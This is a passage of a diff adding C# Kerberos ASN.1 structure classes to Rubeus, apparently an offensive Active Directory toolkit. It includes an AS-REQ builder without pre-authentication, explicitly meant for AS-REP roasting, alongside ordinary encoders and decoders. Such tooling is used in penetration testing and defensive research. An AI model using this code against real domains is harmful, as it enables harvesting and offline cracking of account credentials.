+ case 0:
+ pvno = s.Sub[0].GetInteger();
+ break;
+ case 1:
+ msg_type = s.Sub[0].GetInteger();
+ break;
+ case 2:
+ // sequence of pa-data
+ //padata = new PA_DATA(s.Sub[0]);
+ break;
+ case 3:
+ crealm = Encoding.ASCII.GetString(s.Sub[0].GetOctetString());
+ break;
+ case 4:
+ cname = new PrincipalName(s.Sub[0]);
+ break;
+ case 5:
+ ticket = new Ticket(s.Sub[0].Sub[0]);
+ break;
+ case 6:
+ enc_part = new EncryptedData(s.Sub[0]);
+ break;
+ default:
+ break;
+ }
+ }
+ }
+
+ // won't really every need to *create* a AS reply, so no encode
+
+ public long pvno { get; set; }
+
+ public long msg_type { get; set; }
+
+ public PA_DATA padata { get; set; }
+
+ public string crealm { get; set; }
+
+ public PrincipalName cname { get; set; }
+
+ public Ticket ticket { get; set; }
+
+ public EncryptedData enc_part { get; set; }
+ }
+}
diff --git a/Rubeus/lib/krb_structures/AS_REQ.cs b/Rubeus/lib/krb_structures/AS_REQ.cs
new file mode 100755
index 00000000..4444c7fa
--- /dev/null
+++ b/Rubeus/lib/krb_structures/AS_REQ.cs
@@ -0,0 +1,206 @@
+using Asn1;
+using System;
+using System.Collections.Generic;
+using System.IO;
+
+namespace Rubeus
+{
+ //AS-REQ ::= [APPLICATION 10] KDC-REQ
+
+ //KDC-REQ ::= SEQUENCE {
+ // -- NOTE: first tag is [1], not [0]
+ // pvno [1] INTEGER (5) ,
+ // msg-type [2] INTEGER (10 -- AS),
+ // padata [3] SEQUENCE OF PA-DATA OPTIONAL
+ // -- NOTE: not empty --,
+ // req-body [4] KDC-REQ-BODY
+ //}
+
+ public class AS_REQ
+ {
+ public static byte[] NewASReq(string userName, string domain, Interop.KERB_ETYPE etype)
+ {
+ // build a new AS-REQ for the given userName, domain, and etype, but no PA-ENC-TIMESTAMP
+ // used for AS-REP-roasting
+
+ AS_REQ req = new AS_REQ();
+
+ // set the username to roast
+ req.req_body.cname.name_string.Add(userName);
+
+ // the realm (domain) the user exists in
+ req.req_body.realm = domain;
+
+ // KRB_NT_SRV_INST = 2
+ // service and other unique instance (krbtgt)
+ req.req_body.sname.name_type = 2;
+ req.req_body.sname.name_string.Add("krbtgt");
+ req.req_body.sname.name_string.Add(domain);
+
+ // add in our encryption type
+ req.req_body.etypes.Add(etype);
+
+ return req.Encode().Encode();
+ }
+
+ public static byte[] NewASReq(string userName, string domain, string keyString, Interop.KERB_ETYPE etype)
+ {
+ // build a new AS-REQ for the given userName, domain, and etype, w/ PA-ENC-TIMESTAMP
+ // used for "legit" AS-REQs w/ pre-auth
+
+ // set pre-auth
+ AS_REQ req = new AS_REQ(keyString, etype);
+
+ // req.padata.Add()
+
+ // set the username to request a TGT for
+ req.req_body.cname.name_string.Add(userName);
+
+ // the realm (domain) the user exists in
+ req.req_body.realm = domain;
+
+ // KRB_NT_SRV_INST = 2
+ // service and other unique instance (krbtgt)
+ req.req_body.sname.name_type = 2;
+ req.req_body.sname.name_string.Add("krbtgt");
+ req.req_body.sname.name_string.Add(domain);
+
+ // add in our encryption type
+ req.req_body.etypes.Add(etype);
+
+ return req.Encode().Encode();
+ }
+
+ public AS_REQ()
+ {
+ // default, for creation
+ pvno = 5;
+ msg_type = 10;
+
+ padata = new List();
+ padata.Add(new PA_DATA());
+
+ req_body = new KDCReqBody();
+ }
+
+ public AS_REQ(string keyString, Interop.KERB_ETYPE etype)
+ {
+ // default, for creation
+ pvno = 5;
+ msg_type = 10;
+
+ padata = new List();
+
+ // add the encrypted timestamp
+ padata.Add(new PA_DATA(keyString, etype));
+
+ // add the include-pac == true
+ padata.Add(new PA_DATA());
+
+ req_body = new KDCReqBody();
+ }
+
+ public AS_REQ(byte[] data)
+ {
+ // decode the supplied bytes to an AsnElt object
+ data = AsnIO.FindBER(data);
+ AsnElt asn_AS_REQ = AsnElt.Decode(data);
+ padata = new List();
+
+ // AS-REQ::= [APPLICATION 10] KDC-REQ
+ // tag class == 1
+ // tag class == 10
+ // SEQUENCE
+ if (asn_AS_REQ.TagValue != 10)
+ {
+ throw new System.Exception("AS-REQ tag value should be 10");
+ }
+
+ if ((asn_AS_REQ.Sub.Length != 1) || (asn_AS_REQ.Sub[0].TagValue != 16))
+ {
+ throw new System.Exception("First AS-REQ sub should be a sequence");
+ }
+
+ // extract the KDC-REP out
+ AsnElt[] kdc_req = asn_AS_REQ.Sub[0].Sub;
+
+ foreach (AsnElt s in kdc_req)
+ {
+ switch (s.TagValue)
+ {
+ case 1:
+ pvno = s.Sub[0].GetInteger();
+ break;
+ case 2:
+ msg_type = s.Sub[0].GetInteger();
+ break;
+ case 3:
+ // sequence of pa-data
+ foreach(AsnElt pa in s.Sub[0].Sub)
+ {
+ padata.Add(new PA_DATA(pa));
+ }
+ break;
+ case 4:
+ // KDC-REQ-BODY
+ req_body = new KDCReqBody(s.Sub[0]);
+ break;
+ default:
+ throw new System.Exception(String.Format("Invalid tag AS-REQ value : {0}", s.TagValue));
+ }
+ }
+ }
+
+ public AsnElt Encode()
+ {
+ // pvno [1] INTEGER (5)
+ AsnElt pvnoAsn = AsnElt.MakeInteger(pvno);
+ AsnElt pvnoSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { pvnoAsn });
+ pvnoSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 1, pvnoSeq);
+
+
+ // msg-type [2] INTEGER (10 -- AS -- )
+ AsnElt msg_type_ASN = AsnElt.MakeInteger(msg_type);
+ AsnElt msg_type_ASNSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { msg_type_ASN });
+ msg_type_ASNSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 2, msg_type_ASNSeq);
+
+
+ // padata [3] SEQUENCE OF PA-DATA OPTIONAL
+ List padatas = new List();
+ foreach (PA_DATA pa in padata)
+ {
+ padatas.Add(pa.Encode());
+ }
+
+ AsnElt padata_ASNSeq = AsnElt.Make(AsnElt.SEQUENCE, padatas.ToArray());
+ AsnElt padata_ASNSeq2 = AsnElt.Make(AsnElt.SEQUENCE, new[] { padata_ASNSeq });
+ padata_ASNSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 3, padata_ASNSeq2);
+
+ // req-body [4] KDC-REQ-BODY
+ AsnElt req_Body_ASN = req_body.Encode();
+ AsnElt req_Body_ASNSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { req_Body_ASN });
+ req_Body_ASNSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 4, req_Body_ASNSeq);
+
+
+ // encode it all into a sequence
+ AsnElt[] total = new[] { pvnoSeq, msg_type_ASNSeq, padata_ASNSeq, req_Body_ASNSeq };
+ AsnElt seq = AsnElt.Make(AsnElt.SEQUENCE, total);
+
+ // AS-REQ ::= [APPLICATION 10] KDC-REQ
+ // put it all together and tag it with 10
+ AsnElt totalSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { seq });
+ totalSeq = AsnElt.MakeImplicit(AsnElt.APPLICATION, 10, totalSeq);
+
+ return totalSeq;
+ }
+
+ public long pvno { get; set;}
+
+ public long msg_type { get; set; }
+
+ //public PAData[] padata { get; set; }
+ public List padata { get; set; }
+
+ public KDCReqBody req_body { get; set; }
+ }
+}
\ No newline at end of file
diff --git a/Rubeus/lib/krb_structures/Authenticator.cs b/Rubeus/lib/krb_structures/Authenticator.cs
new file mode 100755
index 00000000..a0d78a97
--- /dev/null
+++ b/Rubeus/lib/krb_structures/Authenticator.cs
@@ -0,0 +1,105 @@
+using System;
+using Asn1;
+using System.Text;
+using System.Collections.Generic;
+
+namespace Rubeus
+{
+ public class Authenticator
+ {
+ //Authenticator ::= [APPLICATION 2] SEQUENCE {
+ // authenticator-vno [0] INTEGER (5),
+ // crealm [1] Realm,
+ // cname [2] PrincipalName,
+ // cksum [3] Checksum OPTIONAL,
+ // cusec [4] Microseconds,
+ // ctime [5] KerberosTime,
+ // subkey [6] EncryptionKey OPTIONAL,
+ // seq-number [7] UInt32 OPTIONAL,
+ // authorization-data [8] AuthorizationData OPTIONAL
+ //}
+
+ // NOTE: we're only using:
+ // authenticator-vno [0]
+ // crealm [1]
+ // cname [2]
+ // cusec [4]
+ // ctime [5]
+
+ public Authenticator()
+ {
+ authenticator_vno = 5;
+
+ crealm = "";
+
+ cname = new PrincipalName();
+
+ cusec = 0;
+
+ ctime = DateTime.UtcNow;
+ }
+
+ public AsnElt Encode()
+ {
+ List allNodes = new List();
+
+
+ // authenticator-vno [0] INTEGER (5)
+ AsnElt pvnoAsn = AsnElt.MakeInteger(authenticator_vno);
+ AsnElt pvnoSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { pvnoAsn });
+ pvnoSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 0, pvnoSeq);
+ allNodes.Add(pvnoSeq);
+
+
+ // crealm [1] Realm
+ AsnElt realmAsn = AsnElt.MakeString(AsnElt.IA5String, crealm);
+ realmAsn = AsnElt.MakeImplicit(AsnElt.UNIVERSAL, AsnElt.GeneralString, realmAsn);
+ AsnElt realmSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { realmAsn });
+ realmSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 1, realmSeq);
+ allNodes.Add(realmSeq);
+
+
+ // cname [2] PrincipalName
+ AsnElt snameElt = cname.Encode();
+ snameElt = AsnElt.MakeImplicit(AsnElt.CONTEXT, 2, snameElt);
+ allNodes.Add(snameElt);
+
+
+ // TODO: correct format (UInt32)?
+ // cusec [4] Microseconds
+ AsnElt nonceAsn = AsnElt.MakeInteger(cusec);
+ AsnElt nonceSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { nonceAsn });
+ nonceSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 4, nonceSeq);
+ allNodes.Add(nonceSeq);
+
+
+ // ctime [5] KerberosTime
+ AsnElt tillAsn = AsnElt.MakeString(AsnElt.GeneralizedTime, ctime.ToString("yyyyMMddHHmmssZ"));
+ AsnElt tillSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { tillAsn });
+ tillSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 5, tillSeq);
+ allNodes.Add(tillSeq);
+
+
+ // package it all up
+ AsnElt seq = AsnElt.Make(AsnElt.SEQUENCE, allNodes.ToArray());
+
+
+ // tag the final total
+ AsnElt final = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { seq });
+ final = AsnElt.MakeImplicit(AsnElt.APPLICATION, 2, final);
+
+ return final;
+ }
+
+
+ public long authenticator_vno { get; set; }
+
+ public string crealm { get; set; }
+
+ public PrincipalName cname { get; set; }
+
+ public long cusec { get; set; }
+
+ public DateTime ctime { get; set; }
+ }
+}
\ No newline at end of file
diff --git a/Rubeus/lib/krb_structures/Checksum.cs b/Rubeus/lib/krb_structures/Checksum.cs
new file mode 100755
index 00000000..0f4a9059
--- /dev/null
+++ b/Rubeus/lib/krb_structures/Checksum.cs
@@ -0,0 +1,64 @@
+using System;
+using Asn1;
+using System.Text;
+using System.Collections.Generic;
+
+namespace Rubeus
+{
+ public class Checksum
+ {
+ //Checksum ::= SEQUENCE {
+ // cksumtype [0] Int32,
+ // checksum [1] OCTET STRING
+ //}
+
+ public Checksum(byte[] data)
+ {
+ // KERB_CHECKSUM_HMAC_MD5 = -138
+ cksumtype = -138;
+
+ checksum = data;
+ }
+
+ public Checksum(AsnElt body)
+ {
+ foreach (AsnElt s in body.Sub)
+ {
+ switch (s.TagValue)
+ {
+ case 0:
+ cksumtype = Convert.ToInt32(s.Sub[0].GetInteger());
+ break;
+ case 2:
+ checksum = s.Sub[0].GetOctetString();
+ break;
+ default:
+ break;
+ }
+ }
+ }
+
+ public AsnElt Encode()
+ {
+ // cksumtype [0] Int32
+ AsnElt cksumtypeAsn = AsnElt.MakeInteger(cksumtype);
+ AsnElt cksumtypeSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { cksumtypeAsn });
+ cksumtypeSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 0, cksumtypeSeq);
+
+
+ // checksum [1] OCTET STRING
+ AsnElt checksumAsn = AsnElt.MakeBlob(checksum);
+ AsnElt checksumSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { checksumAsn });
+ checksumSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 1, checksumSeq);
+
+
+ AsnElt totalSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { cksumtypeSeq, checksumSeq });
+ AsnElt totalSeq2 = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { totalSeq });
+ return totalSeq2;
+ }
+
+ public Int32 cksumtype { get; set; }
+
+ public byte[] checksum { get; set; }
+ }
+}
\ No newline at end of file
diff --git a/Rubeus/lib/krb_structures/EncKDCRepPart.cs b/Rubeus/lib/krb_structures/EncKDCRepPart.cs
new file mode 100755
index 00000000..eb35163c
--- /dev/null
+++ b/Rubeus/lib/krb_structures/EncKDCRepPart.cs
@@ -0,0 +1,108 @@
+using System;
+using Asn1;
+using System.Text;
+using System.Collections.Generic;
+
+namespace Rubeus
+{
+ public class EncKDCRepPart
+ {
+ //EncKDCRepPart::= SEQUENCE {
+ // key[0] EncryptionKey,
+ // last-req[1] LastReq,
+ // nonce[2] UInt32,
+ // key-expiration[3] KerberosTime OPTIONAL,
+ // flags[4] TicketFlags,
+ // authtime[5] KerberosTime,
+ // starttime[6] KerberosTime OPTIONAL,
+ // endtime[7] KerberosTime,
+ // renew-till[8] KerberosTime OPTIONAL,
+ // srealm[9] Realm,
+ // sname[10] PrincipalName,
+ // caddr[11] HostAddresses OPTIONAL,
+ // encrypted-pa-data[12] SEQUENCE OF PA-DATA OPTIONAL
+ //}
+
+ public EncKDCRepPart(AsnElt body)
+ {
+ foreach (AsnElt s in body.Sub)
+ {
+ switch (s.TagValue)
+ {
+ case 0:
+ key = new EncryptionKey(s);
+ break;
+ case 1:
+ lastReq = new LastReq(s.Sub[0]);
+ break;
+ case 2:
+ nonce = Convert.ToUInt32(s.Sub[0].GetInteger());
+ break;
+ case 3:
+ key_expiration = s.Sub[0].GetTime();
+ break;
+ case 4:
+ UInt32 temp = Convert.ToUInt32(s.Sub[0].GetInteger());
+ byte[] tempBytes = BitConverter.GetBytes(temp);
+ flags = (Interop.TicketFlags)BitConverter.ToInt32(tempBytes, 0);
+ break;
+ case 5:
+ authtime = s.Sub[0].GetTime();
+ break;
+ case 6:
+ starttime = s.Sub[0].GetTime();
+ break;
+ case 7:
+ endtime = s.Sub[0].GetTime();
+ break;
+ case 8:
+ renew_till = s.Sub[0].GetTime();
+ break;
+ case 9:
+ realm = Encoding.ASCII.GetString(s.Sub[0].GetOctetString());
+ break;
+ case 10:
+ // sname (optional)
+ sname = new PrincipalName(s.Sub[0]);
+ break;
+ case 11:
+ // HostAddresses, skipped for now
+ break;
+ case 12:
+ // encrypted-pa-data, skipped for now
+ break;
+ default:
+ break;
+ }
+ }
+ }
+
+ // won't really every need to *create* a KDC reply, so no Encode()
+
+ public EncryptionKey key { get; set; }
+
+ public LastReq lastReq { get; set; }
+
+ public UInt32 nonce { get; set; }
+
+ public DateTime key_expiration { get; set; }
+
+ public Interop.TicketFlags flags { get; set; }
+
+ public DateTime authtime { get; set; }
+
+ public DateTime starttime { get; set; }
+
+ public DateTime endtime { get; set; }
+
+ public DateTime renew_till { get; set; }
+
+ public string realm { get; set; }
+
+ public PrincipalName sname { get; set; }
+
+ // caddr (optional) - skip for now
+
+ // encrypted-pa-data (optional) - skip for now
+ }
+}
\ No newline at end of file
diff --git a/Rubeus/lib/krb_structures/EncKrbCredPart.cs b/Rubeus/lib/krb_structures/EncKrbCredPart.cs
new file mode 100755
index 00000000..c1ef9653
--- /dev/null
+++ b/Rubeus/lib/krb_structures/EncKrbCredPart.cs
@@ -0,0 +1,57 @@
+using System;
+using Asn1;
+using System.Collections.Generic;
+
+namespace Rubeus
+{
+ //EncKrbCredPart ::= [APPLICATION 29] SEQUENCE {
+ // ticket-info [0] SEQUENCE OF KrbCredInfo,
+ // nonce [1] UInt32 OPTIONAL,
+ // timestamp [2] KerberosTime OPTIONAL,
+ // usec [3] Microseconds OPTIONAL,
+ // s-address [4] HostAddress OPTIONAL,
+ // r-address [5] HostAddress OPTIONAL
+ //}
+
+ public class EncKrbCredPart
+ {
+ public EncKrbCredPart()
+ {
+ // TODO: defaults for creation
+ ticket_info = new List();
+ }
+
+ public EncKrbCredPart(AsnElt body)
+ {
+ ticket_info = new List();
+
+ byte[] octetString = body.Sub[1].Sub[0].GetOctetString();
+ AsnElt body2 = AsnElt.Decode(octetString);
+
+ // assume only one KrbCredInfo for now
+ KrbCredInfo info = new KrbCredInfo(body2.Sub[0].Sub[0].Sub[0].Sub[0]);
+ ticket_info.Add(info);
+ }
+
+ public AsnElt Encode()
+ {
+ // ticket-info [0] SEQUENCE OF KrbCredInfo
+ // assume just one ticket-info for now
+ // TODO: handle multiple ticket-infos
+ AsnElt infoAsn = ticket_info[0].Encode();
+ AsnElt seq1 = AsnElt.Make(AsnElt.SEQUENCE, new[] { infoAsn });
+ AsnElt seq2 = AsnElt.Make(AsnElt.SEQUENCE, new[] { seq1 });
+ seq2 = AsnElt.MakeImplicit(AsnElt.CONTEXT, 0, seq2);
+
+ AsnElt totalSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { seq2 });
+ AsnElt totalSeq2 = AsnElt.Make(AsnElt.SEQUENCE, new[] { totalSeq });
+ totalSeq2 = AsnElt.MakeImplicit(AsnElt.APPLICATION, 29, totalSeq2);
+
+ return totalSeq2;
+ }
+
+ public List ticket_info { get; set; }
+
+ // other fields are optional/not used in our use cases
+ }
+}
\ No newline at end of file
diff --git a/Rubeus/lib/krb_structures/EncryptedData.cs b/Rubeus/lib/krb_structures/EncryptedData.cs
new file mode 100755
index 00000000..2f006419
--- /dev/null
+++ b/Rubeus/lib/krb_structures/EncryptedData.cs
@@ -0,0 +1,85 @@
+using System;
+using Asn1;
+using System.Text;
+using System.Collections.Generic;
+
+namespace Rubeus
+{
+ public class EncryptedData
+ {
+ //EncryptedData::= SEQUENCE {
+ // etype[0] Int32 -- EncryptionType --,
+ // kvno[1] UInt32 OPTIONAL,
+ // cipher[2] OCTET STRING -- ciphertext
+ //}
+
+ public EncryptedData()
+ {
+
+ }
+
+ public EncryptedData(Int32 encType, byte[] data)
+ {
+ etype = encType;
+ cipher = data;
+ }
+
+ public EncryptedData(AsnElt body)
+ {
+ foreach (AsnElt s in body.Sub)
+ {
+ switch (s.TagValue)
+ {
+ case 0:
+ etype = Convert.ToInt32(s.Sub[0].GetInteger());
+ break;
+ case 1:
+ kvno = Convert.ToUInt32(s.Sub[0].GetInteger());
+ break;
+ case 2:
+ cipher = s.Sub[0].GetOctetString();
+ break;
+ default:
+ break;
+ }
+ }
+ }
+
+ public AsnElt Encode()
+ {
+ // etype [0] Int32 -- EncryptionType --,
+ AsnElt etypeAsn = AsnElt.MakeInteger(etype);
+ AsnElt etypeSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { etypeAsn });
+ etypeSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 0, etypeSeq);
+
+
+ // cipher [2] OCTET STRING -- ciphertext
+ AsnElt cipherAsn = AsnElt.MakeBlob(cipher);
+ AsnElt cipherSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { cipherAsn });
+ cipherSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 2, cipherSeq);
+
+
+ if (kvno != 0)
+ {
+ // kvno [1] UInt32 OPTIONAL
+ AsnElt kvnoAsn = AsnElt.MakeInteger(kvno);
+ AsnElt kvnoSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { kvnoAsn });
+ kvnoSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 1, kvnoSeq);
+
+ AsnElt totalSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { etypeSeq, kvnoSeq, cipherSeq });
+ return totalSeq;
+ }
+ else
+ {
+ AsnElt totalSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { etypeSeq, cipherSeq });
+ return totalSeq;
+ }
+ }
+
+ public Int32 etype { get; set; }
+
+ public UInt32 kvno { get; set; }
+
+ public byte[] cipher { get; set; }
+ }
+}
\ No newline at end of file
diff --git a/Rubeus/lib/krb_structures/EncryptionKey.cs b/Rubeus/lib/krb_structures/EncryptionKey.cs
new file mode 100755
index 00000000..9cf9dd93
--- /dev/null
+++ b/Rubeus/lib/krb_structures/EncryptionKey.cs
@@ -0,0 +1,68 @@
+using System;
+using Asn1;
+using System.Text;
+using System.Collections.Generic;
+
+namespace Rubeus
+{
+ public class EncryptionKey
+ {
+ //EncryptionKey::= SEQUENCE {
+ // keytype[0] Int32 -- actually encryption type --,
+ // keyvalue[1] OCTET STRING
+ //}
+
+ public EncryptionKey()
+ {
+ keytype = 0;
+
+ keyvalue = null;
+ }
+
+ public EncryptionKey(AsnElt body)
+ {
+ foreach (AsnElt s in body.Sub[0].Sub)
+ {
+ switch (s.TagValue)
+ {
+ case 0:
+ keytype = Convert.ToInt32(s.Sub[0].GetInteger());
+ break;
+ case 1:
+ keyvalue = s.Sub[0].GetOctetString();
+ break;
+ case 2:
+ keyvalue = s.Sub[0].GetOctetString();
+ break;
+ default:
+ break;
+ }
+ }
+ }
+
+ public AsnElt Encode()
+ {
+ // keytype[0] Int32 -- actually encryption type --
+ AsnElt keyTypeElt = AsnElt.MakeInteger(keytype);
+ AsnElt keyTypeSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { keyTypeElt });
+ keyTypeSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 0, keyTypeSeq);
+
+
+ // keyvalue[1] OCTET STRING
+ AsnElt blob = AsnElt.MakeBlob(keyvalue);
+ AsnElt blobSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { blob });
+ blobSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 1, blobSeq);
+
+
+ // build the final sequences (s)
+ AsnElt seq = AsnElt.Make(AsnElt.SEQUENCE, new[] { keyTypeSeq, blobSeq });
+ AsnElt seq2 = AsnElt.Make(AsnElt.SEQUENCE, new[] { seq });
+
+ return seq2;
+ }
+
+ public Int32 keytype { get; set; }
+
+ public byte[] keyvalue { get; set; }
+ }
+}
\ No newline at end of file
diff --git a/Rubeus/lib/krb_structures/KDC_REQ_BODY.cs b/Rubeus/lib/krb_structures/KDC_REQ_BODY.cs
new file mode 100755
index 00000000..027028ec
--- /dev/null
+++ b/Rubeus/lib/krb_structures/KDC_REQ_BODY.cs
@@ -0,0 +1,231 @@
+using System;
+using Asn1;
+using System.Text;
+using System.Collections.Generic;
+
+namespace Rubeus
+{
+ public class KDCReqBody
+ {
+ //KDC-REQ-BODY::= SEQUENCE {
+ // kdc-options[0] KDCOptions,
+ // cname[1] PrincipalName OPTIONAL
+ // -- Used only in AS-REQ --,
+ // realm[2] Realm
+ // -- Server's realm
+ // -- Also client's in AS-REQ --,
+ // sname[3] PrincipalName OPTIONAL,
+ // from[4] KerberosTime OPTIONAL,
+ // till[5] KerberosTime,
+ // rtime[6] KerberosTime OPTIONAL,
+ // nonce[7] UInt32,
+ // etype[8] SEQUENCE OF Int32 -- EncryptionType
+ // -- in preference order --,
+ // addresses[9] HostAddresses OPTIONAL,
+ // enc-authorization-data[10] EncryptedData OPTIONAL
+ // -- AuthorizationData --,
+ // additional-tickets[11] SEQUENCE OF Ticket OPTIONAL
+ // -- NOTE: not empty
+ //}
+
+ public KDCReqBody()
+ {
+ // defaults for creation
+ kdcOptions = Interop.KdcOptions.FORWARDABLE | Interop.KdcOptions.RENEWABLE | Interop.KdcOptions.RENEWABLEOK;
+
+ cname = new PrincipalName();
+
+ sname = new PrincipalName();
+
+ // date time from kekeo ;) HAI 2037!
+ till = DateTime.ParseExact("20370913024805Z", "yyyyMMddHHmmssZ", System.Globalization.CultureInfo.InvariantCulture);
+
+ // kekeo/mimikatz nonce ;)
+ //nonce = 12381973;
+ nonce = 1818848256;
+
+ additional_tickets = new List();
+
+ etypes = new List();
+ }
+
+ public KDCReqBody(AsnElt body)
+ {
+ foreach (AsnElt s in body.Sub)
+ {
+ switch (s.TagValue)
+ {
+ case 0:
+ UInt32 temp = Convert.ToUInt32(s.Sub[0].GetInteger());
+ byte[] tempBytes = BitConverter.GetBytes(temp);
+ kdcOptions = (Interop.KdcOptions)BitConverter.ToInt32(tempBytes, 0);
+ break;
+ case 1:
+ // optional
+ cname = new PrincipalName(s.Sub[0]);
+ break;
+ case 2:
+ realm = Encoding.ASCII.GetString(s.Sub[0].GetOctetString());
+ break;
+ case 3:
+ // optional
+ sname = new PrincipalName(s.Sub[0]);
+ break;
+ case 4:
+ // optional
+ from = s.Sub[0].GetTime();
+ break;
+ case 5:
+ till = s.Sub[0].GetTime();
+ break;
+ case 6:
+ // optional
+ rtime = s.Sub[0].GetTime();
+ break;
+ case 7:
+ nonce = Convert.ToUInt32(s.Sub[0].GetInteger());
+ break;
+ case 8:
+ //etypes = new Enums.KERB_ETYPE[s.Sub[0].Sub.Length];
+ etypes = new List();
+ for (int i = 0; i < s.Sub[0].Sub.Length; i++)
+ {
+ //etypes[i] = (Enums.KERB_ETYPE)Convert.ToUInt32(s.Sub[0].Sub[i].GetInteger());
+ etypes.Add((Interop.KERB_ETYPE)Convert.ToUInt32(s.Sub[0].Sub[i].GetInteger()));
+ }
+ break;
+ case 9:
+ // addresses (optional)
+ break;
+ case 10:
+ // enc authorization-data (optional)
+ break;
+ case 11:
+ // additional-tickets (optional)
+ break;
+ default:
+ break;
+ }
+ }
+ }
+
+ public AsnElt Encode()
+ {
+ // TODO: error-checking!
+
+ List allNodes = new List();
+
+ // kdc-options [0] KDCOptions
+ byte[] kdcOptionsBytes = BitConverter.GetBytes((UInt32)kdcOptions);
+ if (BitConverter.IsLittleEndian)
+ {
+ Array.Reverse(kdcOptionsBytes);
+ }
+ AsnElt kdcOptionsAsn = AsnElt.MakeBitString(kdcOptionsBytes);
+ AsnElt kdcOptionsSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { kdcOptionsAsn });
+ kdcOptionsSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 0, kdcOptionsSeq);
+ allNodes.Add(kdcOptionsSeq);
+
+
+ // cname [1] PrincipalName
+ if (cname != null)
+ {
+ AsnElt cnameElt = cname.Encode();
+ cnameElt = AsnElt.MakeImplicit(AsnElt.CONTEXT, 1, cnameElt);
+ allNodes.Add(cnameElt);
+ }
+
+
+ // realm [2] Realm
+ // --Server's realm
+ // -- Also client's in AS-REQ --
+ AsnElt realmAsn = AsnElt.MakeString(AsnElt.IA5String, realm);
+ realmAsn = AsnElt.MakeImplicit(AsnElt.UNIVERSAL, AsnElt.GeneralString, realmAsn);
+ AsnElt realmSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { realmAsn });
+ realmSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 2, realmSeq);
+ allNodes.Add(realmSeq);
+
+
+ // sname [3] PrincipalName OPTIONAL
+ AsnElt snameElt = sname.Encode();
+ snameElt = AsnElt.MakeImplicit(AsnElt.CONTEXT, 3, snameElt);
+ allNodes.Add(snameElt);
+
+
+ // from [4] KerberosTime OPTIONAL
+
+
+ // till [5] KerberosTime
+ AsnElt tillAsn = AsnElt.MakeString(AsnElt.GeneralizedTime, till.ToString("yyyyMMddHHmmssZ"));
+ AsnElt tillSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { tillAsn });
+ tillSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 5, tillSeq);
+ allNodes.Add(tillSeq);
+
+
+ // rtime [6] KerberosTime
+
+
+ // nonce [7] UInt32
+ AsnElt nonceAsn = AsnElt.MakeInteger(nonce);
+ AsnElt nonceSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { nonceAsn });
+ nonceSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 7, nonceSeq);
+ allNodes.Add(nonceSeq);
+
+
+ // etype [8] SEQUENCE OF Int32 -- EncryptionType -- in preference order --
+ List etypeList = new List();
+ foreach (Interop.KERB_ETYPE etype in etypes)
+ {
+ AsnElt etypeAsn = AsnElt.MakeInteger((UInt32)etype);
+ //AsnElt etypeSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { etypeAsn });
+ etypeList.Add(etypeAsn);
+ }
+ AsnElt etypeSeq = AsnElt.Make(AsnElt.SEQUENCE, etypeList.ToArray());
+ AsnElt etypeSeqTotal1 = AsnElt.Make(AsnElt.SEQUENCE, etypeList.ToArray());
+ AsnElt etypeSeqTotal2 = AsnElt.Make(AsnElt.SEQUENCE, etypeSeqTotal1);
+ etypeSeqTotal2 = AsnElt.MakeImplicit(AsnElt.CONTEXT, 8, etypeSeqTotal2);
+ allNodes.Add(etypeSeqTotal2);
+
+
+ // addresses [9] HostAddresses OPTIONAL
+
+
+ // enc-authorization-data [10] EncryptedData OPTIONAL
+
+
+ // additional-tickets [11] SEQUENCE OF Ticket OPTIONAL
+ if(additional_tickets.Count > 0) {
+ AsnElt ticketAsn = additional_tickets[0].Encode();
+ AsnElt ticketSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { ticketAsn });
+ AsnElt ticketSeq2 = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { ticketSeq });
+ ticketSeq2 = AsnElt.MakeImplicit(AsnElt.CONTEXT, 11, ticketSeq2);
+ allNodes.Add(ticketSeq2);
+ }
+
+ AsnElt seq = AsnElt.Make(AsnElt.SEQUENCE, allNodes.ToArray());
+
+ return seq;
+ }
+
+
